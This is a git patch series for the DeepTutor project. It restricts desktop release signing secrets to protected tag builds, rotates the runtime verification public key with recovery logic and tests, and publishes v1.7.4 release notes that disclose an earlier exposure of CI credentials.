data/user/settings/model_catalog.json + + - name: Run Python tests + run: | + echo "๐Ÿงช Running Python tests on Python ${{ matrix.python-version }}" + pytest -q tests deeptutor/learning/tests + env: + PYTHONPATH: ${{ github.workspace }} + DEEPTUTOR_TEST_REDIS_URL: redis://127.0.0.1:6379/0 + + video-lesson-sandbox: + name: Video lesson isolation (${{ matrix.os }}) + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-24.04, macos-latest, windows-latest] + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: "22" + - uses: actions/setup-python@v5 + with: + python-version: "3.11" + - name: Install test dependencies + run: pip install -r requirements/full.txt pytest pytest-asyncio + - name: Check real rendering, isolation, cancellation and timeout + env: + DEEPTUTOR_TEST_VIDEO_SANDBOX: "1" + DEEPTUTOR_REMOTION_RUNTIME: ${{ runner.temp }}/remotion + PYTHONPATH: ${{ github.workspace }} + run: | + pytest -q tests/agents/video_lesson tests/services/sandbox/test_process_cancellation.py + node --test tests/services/sandbox/javascript.test.mjs + + test-summary: + name: Test Summary + runs-on: ubuntu-24.04 + needs: [desktop, chat-engine, lint, web-tests, multi-worker-web, import-check, python-tests, video-lesson-sandbox] + if: always() + + steps: + - name: Check test results + run: | + echo "## ๐Ÿงช Test Results Summary" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "| Check | Status |" >> $GITHUB_STEP_SUMMARY + echo "|-------|--------|" >> $GITHUB_STEP_SUMMARY + echo "| macOS desktop shell | ${{ needs.desktop.result == 'success' && 'โœ… Passed' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY + echo "| TypeScript chat engine | ${{ needs.chat-engine.result == 'success' && 'โœ… Passed' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY + echo "| Video lesson isolation | ${{ needs.video-lesson-sandbox.result == 'success' && 'โœ… Passed' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY + echo "| Lint and format | ${{ needs.lint.result == 'success' && 'โœ… Passed' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY + echo "| Web node tests | ${{ needs.web-tests.result == 'success' && 'โœ… Passed' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY + echo "| Four-worker browser acceptance | ${{ needs.multi-worker-web.result == 'success' && 'โœ… Passed' || needs.multi-worker-web.result == 'skipped' && 'โญ๏ธ Fixture not configured' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY + echo "| Import/lazy/worker check (3.11โ€“3.14; 3.14 on Linux/macOS/Windows) | ${{ needs.import-check.result == 'success' && 'โœ… Passed' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY + echo "| Python tests (3.11/3.12/3.13/3.14) | ${{ needs.python-tests.result == 'success' && 'โœ… Passed' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY + + - name: Fail if tests failed + if: needs.video-lesson-sandbox.result != 'success' || needs.desktop.result == 'failure' || needs.chat-engine.result == 'failure' || needs.lint.result == 'failure' || needs.web-tests.result == 'failure' || needs.multi-worker-web.result == 'failure' || needs.import-check.result == 'failure' || needs.python-tests.result == 'failure' + run: exit 1 From d697b5af77ce9d9e2f9fae795a6608038f25d25c Mon Sep 17 00:00:00 2001 From: "Bingxi Zhao (Frank)" <13051345080@163.com> Date: Fri, 20 Nov 2026 16:42:26 +0800 Subject: [PATCH 5/6] Protect desktop release credentials and rotate runtime trust key --- .../desktop-notarization-diagnostics.yml | 6 +-- .github/workflows/desktop-release.yml | 52 +++++++++++-------- apps/desktop/README.md | 21 +++----- apps/desktop/assets/runtime-public.pem | 2 +- apps/desktop/src/bundles.mjs | 13 ++++- apps/desktop/src/main.mjs | 9 ++-- apps/desktop/test/runtime.test.mjs | 5 ++ 7 files changed, 62 insertions(+), 46 deletions(-) diff --git a/.github/workflows/desktop-notarization-diagnostics.yml b/.github/workflows/desktop-notarization-diagnostics.yml index d8832b1b8..3b65efb33 100644 --- a/.github/workflows/desktop-notarization-diagnostics.yml +++ b/.github/workflows/desktop-notarization-diagnostics.yml @@ -4,16 +4,14 @@ name: Desktop Notarization Diagnostics # publishing. Only DeepTutor submissions are included in the saved reports. on: workflow_dispatch: - push: - branches: [dev] - paths: - - .github/workflows/desktop-notarization-diagnostics.yml permissions: contents: read jobs: inspect: + if: github.ref_type == 'tag' && startsWith(github.ref_name, 'v') + environment: desktop-release runs-on: macos-15 timeout-minutes: 10 steps: diff --git a/.github/workflows/desktop-release.yml b/.github/workflows/desktop-release.yml index 8af50a6b9..9c8485ae8 100644 --- a/.github/workflows/desktop-release.yml +++ b/.github/workflows/desktop-release.yml @@ -7,18 +7,16 @@ name: Desktop Release # # Pull requests that touch apps/desktop build and smoke-test all three without # publishing; they keep the downloads as workflow artifacts for 7 days. -# Pushes to dev and manual validation runs exercise configured signing without -# publishing. Pull requests always use disposable runtime signing keys. +# Branch and pull request builds use disposable keys. Version tags use the +# protected desktop-release environment for signed validation and publishing. # -# Secrets: +# desktop-release environment secrets: # DESKTOP_RUNTIME_SIGNING_KEY (required for releases) Ed25519 PEM matching # apps/desktop/assets/runtime-public.pem. # Pull requests always seal with a throwaway key. # APPLE_CERTIFICATE_P12, APPLE_CERTIFICATE_PASSWORD, APPLE_SIGNING_IDENTITY, # APPLE_ID, APPLE_TEAM_ID, APPLE_APP_PASSWORD -# (optional) Developer ID signing and -# notarization. Without them the Mac apps are -# signed ad hoc and Gatekeeper warns on first open. +# Required for signed and notarized Mac tag builds. # The Windows build is unsigned; SmartScreen warns on first open. on: @@ -45,7 +43,7 @@ on: default: false env: - RELEASE_TAG: ${{ inputs.tag || github.event.release.tag_name }} + RELEASE_TAG: ${{ github.ref_type == 'tag' && github.ref_name || '' }} PUBLISH: ${{ github.event_name == 'release' || (github.event_name == 'workflow_dispatch' && inputs.publish) }} permissions: @@ -71,21 +69,34 @@ jobs: - target: windows-x64 name: Open DeepTutor for Windows runner: windows-2025 + environment: ${{ github.ref_type == 'tag' && startsWith(github.ref_name, 'v') && 'desktop-release' || 'desktop-validation' }} runs-on: ${{ matrix.runner }} timeout-minutes: 120 env: - HAS_DEVELOPER_ID: ${{ secrets.APPLE_CERTIFICATE_P12 != '' }} - HAS_NOTARY: ${{ secrets.APPLE_ID != '' }} - HAS_RUNTIME_KEY: ${{ github.event_name != 'pull_request' && secrets.DESKTOP_RUNTIME_SIGNING_KEY != '' }} + HAS_DEVELOPER_ID: ${{ github.ref_type == 'tag' && startsWith(github.ref_name, 'v') && secrets.APPLE_CERTIFICATE_P12 != '' }} + HAS_NOTARY: ${{ github.ref_type == 'tag' && startsWith(github.ref_name, 'v') && secrets.APPLE_ID != '' }} + HAS_RUNTIME_KEY: ${{ github.ref_type == 'tag' && startsWith(github.ref_name, 'v') && secrets.DESKTOP_RUNTIME_SIGNING_KEY != '' }} defaults: run: shell: bash working-directory: apps/desktop steps: + - name: Check publishing ref + if: env.PUBLISH == 'true' + working-directory: ${{ runner.temp }} + env: + REQUESTED_TAG: ${{ inputs.tag || github.event.release.tag_name }} + run: | + [[ "$RELEASE_TAG" == v* && "$RELEASE_TAG" == "$REQUESTED_TAG" ]] || { + echo "Select the same version tag as the workflow ref and release tag." >&2 + exit 1 + } + - name: Checkout uses: actions/checkout@v4 with: - ref: ${{ env.PUBLISH == 'true' && env.RELEASE_TAG || '' }} + ref: ${{ github.sha }} + persist-credentials: false - name: Verify release tag matches deeptutor/__version__.py if: env.PUBLISH == 'true' @@ -98,7 +109,7 @@ jobs: fi - name: Verify signing configuration - if: github.event_name != 'pull_request' + if: github.ref_type == 'tag' && startsWith(github.ref_name, 'v') env: HAS_CERTIFICATE_PASSWORD: ${{ secrets.APPLE_CERTIFICATE_PASSWORD != '' }} HAS_SIGNING_IDENTITY: ${{ secrets.APPLE_SIGNING_IDENTITY != '' }} @@ -106,14 +117,11 @@ jobs: HAS_NOTARY_PASSWORD: ${{ secrets.APPLE_APP_PASSWORD != '' }} run: | set -euo pipefail - [ "$HAS_RUNTIME_KEY" = "true" ] || { echo "DESKTOP_RUNTIME_SIGNING_KEY is required for signed validation and releases." >&2; exit 1; } + [ "$HAS_RUNTIME_KEY" = "true" ] || { echo "Missing release runtime signing key." >&2; exit 1; } if [ "$RUNNER_OS" = "macOS" ]; then - if [ "$HAS_DEVELOPER_ID" = "true" ] || [ "$HAS_SIGNING_IDENTITY" = "true" ] || [ "$HAS_CERTIFICATE_PASSWORD" = "true" ]; then - [ "$HAS_DEVELOPER_ID" = "true" ] && [ "$HAS_SIGNING_IDENTITY" = "true" ] && [ "$HAS_CERTIFICATE_PASSWORD" = "true" ] || { echo "Developer ID signing configuration is incomplete." >&2; exit 1; } - fi - if [ "$HAS_NOTARY" = "true" ] || [ "$HAS_NOTARY_PASSWORD" = "true" ]; then - [ "$HAS_DEVELOPER_ID" = "true" ] && [ "$HAS_NOTARY" = "true" ] && [ "$HAS_TEAM_ID" = "true" ] && [ "$HAS_NOTARY_PASSWORD" = "true" ] || { echo "Apple notarization configuration is incomplete." >&2; exit 1; } - fi + for configured in "$HAS_DEVELOPER_ID" "$HAS_SIGNING_IDENTITY" "$HAS_CERTIFICATE_PASSWORD" "$HAS_NOTARY" "$HAS_TEAM_ID" "$HAS_NOTARY_PASSWORD"; do + [ "$configured" = "true" ] || { echo "Missing release signing or notarization credential." >&2; exit 1; } + done fi - uses: actions/setup-node@v4 @@ -154,8 +162,8 @@ jobs: - name: Build the bundled runtime env: - OPEN_DEEPTUTOR_SIGNING_KEY: ${{ github.event_name != 'pull_request' && secrets.DESKTOP_RUNTIME_SIGNING_KEY || '' }} - APPLE_SIGNING_IDENTITY: ${{ github.event_name != 'pull_request' && secrets.APPLE_SIGNING_IDENTITY || '' }} + OPEN_DEEPTUTOR_SIGNING_KEY: ${{ github.ref_type == 'tag' && startsWith(github.ref_name, 'v') && secrets.DESKTOP_RUNTIME_SIGNING_KEY || '' }} + APPLE_SIGNING_IDENTITY: ${{ github.ref_type == 'tag' && startsWith(github.ref_name, 'v') && secrets.APPLE_SIGNING_IDENTITY || '' }} run: | set -euo pipefail if [ "$HAS_RUNTIME_KEY" = "true" ]; then @@ -172,7 +180,7 @@ jobs: - name: Package env: - APPLE_SIGNING_IDENTITY: ${{ github.event_name != 'pull_request' && secrets.APPLE_SIGNING_IDENTITY || '' }} + APPLE_SIGNING_IDENTITY: ${{ github.ref_type == 'tag' && startsWith(github.ref_name, 'v') && secrets.APPLE_SIGNING_IDENTITY || '' }} run: npm run package -- --target ${{ matrix.target }} - name: Verify Windows installation and app lifecycle diff --git a/apps/desktop/README.md b/apps/desktop/README.md index 780aa7379..7f4bcc461 100644 --- a/apps/desktop/README.md +++ b/apps/desktop/README.md @@ -121,20 +121,15 @@ the release as complete. `.github/workflows/desktop-release.yml` runs when a DeepTutor GitHub Release is published. For each target it verifies the tag matches `deeptutor/__version__.py`, builds and smoke-tests the runtime, packages the -app and attaches the downloads to the release. It needs the -`DESKTOP_RUNTIME_SIGNING_KEY` secret; Developer ID signing and notarization run -when the Apple secrets listed in the workflow are present. Pull requests that -touch `apps/desktop` run the same builds with a throwaway key and keep the -downloads as workflow artifacts instead of publishing them. +app and attaches the downloads to the release. Signed builds read the runtime +key and Apple signing and notarization credentials from the protected +`desktop-release` environment after deployment approval. -Pushes to `dev` that change the desktop app also build all three targets with -the configured runtime key and Apple signing credentials, keeping the results -as workflow artifacts without publishing a release. Manual runs default to the -same validation mode on the selected branch. To attach downloads to an existing -release, explicitly enable `publish` and supply its tag. GitHub only exposes the -manual entry point after the workflow reaches the default branch. Apple -notarization additionally needs `APPLE_ID` and `APPLE_APP_PASSWORD`; a Developer -ID signature alone does not mean the app is notarized. Windows Authenticode +Pull requests, pushes to `dev` and manual branch validations use disposable +runtime keys. To validate signing, dispatch the workflow on a version tag. +To attach downloads to an existing release, select that same tag as the +workflow ref and the tag input, and enable `publish`. The notarization +diagnostics workflow also runs manually on version tags. Windows Authenticode signing is not configured by this workflow. ## Core updates diff --git a/apps/desktop/assets/runtime-public.pem b/apps/desktop/assets/runtime-public.pem index c5b4693fc..d299053f4 100644 --- a/apps/desktop/assets/runtime-public.pem +++ b/apps/desktop/assets/runtime-public.pem @@ -1,3 +1,3 @@ -----BEGIN PUBLIC KEY----- -MCowBQYDK2VwAyEAk7aCNtMExO4fy9WktsQU/cyhioYTSC6f9QOjtAk2IF0= +MCowBQYDK2VwAyEAWr7LxwSX7g8M/wUrkuDILFGpKDuiijEhXFKK6tmDJu0= -----END PUBLIC KEY----- diff --git a/apps/desktop/src/bundles.mjs b/apps/desktop/src/bundles.mjs index 7a8ed0736..fe3b3c9e8 100644 --- a/apps/desktop/src/bundles.mjs +++ b/apps/desktop/src/bundles.mjs @@ -12,6 +12,8 @@ export function canonicalManifest(manifest) { return JSON.stringify(Object.fromEntries(Object.entries(manifest).filter(([key]) => key !== 'signature').sort(([a], [b]) => a.localeCompare(b)))); } +class InvalidRuntimeSignature extends Error {} + export function verifyManifest(manifest, publicKey, architecture = process.arch, platform = process.platform) { if (!manifest || manifest.formatVersion !== 1 || manifest.protocolVersion !== 1 || manifest.platform !== platform || manifest.arch !== architecture @@ -19,7 +21,7 @@ export function verifyManifest(manifest, publicKey, architecture = process.arch, || !/^[a-zA-Z0-9][a-zA-Z0-9.+_-]*\.tar\.gz$/.test(manifest.archive) || !/^[a-f0-9]{64}$/.test(manifest.sha256)) throw new Error('This core bundle is not compatible with this app or this computer'); if (!verify(null, Buffer.from(canonicalManifest(manifest)), publicKey, Buffer.from(manifest.signature ?? '', 'base64'))) { - throw new Error('The core bundle signature is invalid'); + throw new InvalidRuntimeSignature('The core bundle signature is invalid'); } return manifest; } @@ -53,7 +55,14 @@ export function newerRuntime(candidate, current) { */ export function startupRuntime({ saved, seed, transaction, publicKey }) { if (!saved) return {}; - const current = verifyManifest(saved, publicKey); + let current; + try { current = verifyManifest(saved, publicKey); } + catch (error) { + // A shell with a rotated key can recover only from its own trusted seed. + if (!(error instanceof InvalidRuntimeSignature) || !seed) throw error; + verifyManifest(seed, publicKey); + return { replaceUntrusted: true }; + } let bundled = null; let seedError; if (seed) { diff --git a/apps/desktop/src/main.mjs b/apps/desktop/src/main.mjs index af892a300..9b6b966f2 100644 --- a/apps/desktop/src/main.mjs +++ b/apps/desktop/src/main.mjs @@ -228,9 +228,10 @@ async function startupManifest() { if (!saved) return { manifestFile: seed }; // A missing or unreadable seed must not stop the installed core from starting. const bundled = await readJSON(seed).catch(error => { console.error(error); return null; }); - const { current, upgrade, seedError } = startupRuntime({ + const { current, upgrade, seedError, replaceUntrusted } = startupRuntime({ saved, seed: bundled, transaction: await readJSON(transactionFile), publicKey, }); + if (replaceUntrusted) return { manifestFile: seed, replaceUntrusted: true }; if (seedError) console.error(seedError); const installed = path.join(userRoot, 'runtimes', current.runtimeId, 'installed.json'); return upgrade ? { manifestFile: seed, previous: current, installed } : { manifestFile: installed }; @@ -244,7 +245,7 @@ async function boot() { status({ phase: 'starting', step: 'starting' }); await stopWorker(); await recoverInterruptedUpgrade(); - const { manifestFile, previous, installed } = await startupManifest(); + const { manifestFile, previous, installed, replaceUntrusted } = await startupManifest(); try { active = await installBundle(manifestFile, userRoot, publicKey, step => status({ step })); } catch (error) { if (!previous) throw error; @@ -253,7 +254,7 @@ async function boot() { active = await installBundle(installed, userRoot, publicKey, step => status({ step })); } if (quitting) return; - if (previous && active.manifest.runtimeId !== previous.runtimeId) { + if (replaceUntrusted || (previous && active.manifest.runtimeId !== previous.runtimeId)) { // The app was installed over an older core: switch to the bundled one with the // same backup and rollback as a manual update. status({ phase: 'starting', step: 'updating' }); @@ -265,7 +266,7 @@ async function boot() { if (error.code !== 'ENOENT') throw error; backup = undefined; } - transaction = { phase: 'testing', previous, candidate: active.manifest, backup }; + transaction = { phase: 'testing', previous: previous ?? null, candidate: active.manifest, backup }; await writeJSON(transactionFile, transaction); } const ready = await launchRuntime(active); diff --git a/apps/desktop/test/runtime.test.mjs b/apps/desktop/test/runtime.test.mjs index e68aad9d7..56a47824e 100644 --- a/apps/desktop/test/runtime.test.mjs +++ b/apps/desktop/test/runtime.test.mjs @@ -64,6 +64,11 @@ test('boot keeps the saved core unless the app ships a newer signed one that has assert.deepEqual(startupRuntime({ saved, seed, publicKey }), { current: saved, upgrade: true, seedError: undefined }); assert.equal(startupRuntime({ saved: seed, seed: saved, publicKey }).upgrade, false); assert.equal(startupRuntime({ saved, seed: null, publicKey }).upgrade, false); + const retired = generateKeyPairSync('ed25519'); + const old = { ...saved, signature: sign(null, Buffer.from(canonicalManifest(saved)), retired.privateKey).toString('base64') }; + assert.deepEqual(startupRuntime({ saved: old, seed, publicKey }), { replaceUntrusted: true }); + assert.throws(() => startupRuntime({ saved: old, seed: old, publicKey }), /signature/); + assert.throws(() => startupRuntime({ saved: old, seed: null, publicKey }), /signature/); const tampered = startupRuntime({ saved, seed: { ...seed, coreVersion: '9.0.0' }, publicKey }); assert.equal(tampered.upgrade, false); assert.match(tampered.seedError.message, /signature/); From 341af371bf8143b2da3569084edf8e6cb46d7404 Mon Sep 17 00:00:00 2001 From: "Bingxi Zhao (Frank)" <13051345080@163.com> Date: Fri, 20 Nov 2026 17:35:12 +0800 Subject: [PATCH 6/6] release: v1.7.4 desktop signing security update --- README.md | 4 +++- assets/releases/ver1-7-4.md | 17 +++++++++++++++++ deeptutor/__version__.py | 2 +- 3 files changed, 21 insertions(+), 2 deletions(-) create mode 100644 assets/releases/ver1-7-4.md diff --git a/README.md b/README.md index c9f229e2d..01d81ccbf 100644 --- a/README.md +++ b/README.md @@ -45,6 +45,8 @@ ### ๐Ÿ“ฆ Releases +> **[2026.11.20]** [v1.7.4](https://github.com/HKUDS/DeepTutor/releases/tag/v1.7.4) โ€” Desktop security update for macOS and Windows. Install the new app to trust the replacement runtime signing key. + > **[2026.11.16]** [v1.7.3](https://github.com/HKUDS/DeepTutor/releases/tag/v1.7.3) โ€” Flexible reading and book editing, richer search and agent connections, clearer learning records, and more reliable model streams and desktop upgrades.
@@ -228,7 +230,7 @@
-> โœจ **v1.7.3 is live.** `pip install -U "deeptutor[full]"` installs the full Web app and CLI; bare `deeptutor` installs core only. See the upgrade steps below for legacy CLI installations. +> โœจ **v1.7.4 is live.** `pip install -U "deeptutor[full]"` installs the full Web app and CLI; bare `deeptutor` installs core only. See the upgrade steps below for legacy CLI installations. ### ๐Ÿ“ฐ News diff --git a/assets/releases/ver1-7-4.md b/assets/releases/ver1-7-4.md new file mode 100644 index 000000000..3b3fa4a25 --- /dev/null +++ b/assets/releases/ver1-7-4.md @@ -0,0 +1,17 @@ +# DeepTutor v1.7.4 Release Notes + +**Release Date:** 2026.11.20 + +This desktop security update replaces the runtime signing key used by the macOS and Windows apps. On November 20, desktop release credentials were exposed in GitHub Actions artifacts. Those artifacts have been removed. + +## What's New + +The desktop app verifies runtime updates with a new public key. When it finds a saved runtime signed with the retired key, it installs the verified runtime bundled with the new app and backs up the existing workspace before starting it. Tagged desktop builds now require maintainer approval to access release credentials. + +## Upgrade Notes + +- **macOS:** Download the v1.7.4 DMG for your Mac (Apple Silicon or Intel), quit DeepTutor, and replace the old app in Applications. If macOS blocks the old app from launching, install the replacement directly. +- **Windows:** Quit DeepTutor and use the v1.7.4 installer or portable ZIP. The Windows installer and portable app use the same new runtime verification key. +- Install the desktop app itself to receive the new public key. Earlier desktop versions still trust the retired key. Until you upgrade, avoid importing core updates into those versions. + +**Full Changelog**: https://github.com/HKUDS/DeepTutor/compare/v1.7.3...v1.7.4 diff --git a/deeptutor/__version__.py b/deeptutor/__version__.py index 0c5a55f37..eb3effd5a 100644 --- a/deeptutor/__version__.py +++ b/deeptutor/__version__.py @@ -6,6 +6,6 @@ before publishing to PyPI; the web sidebar badge and CLI banner read from this file directly. """ -__version__ = "1.7.3" +__version__ = "1.7.4" __all__ = ("__version__",)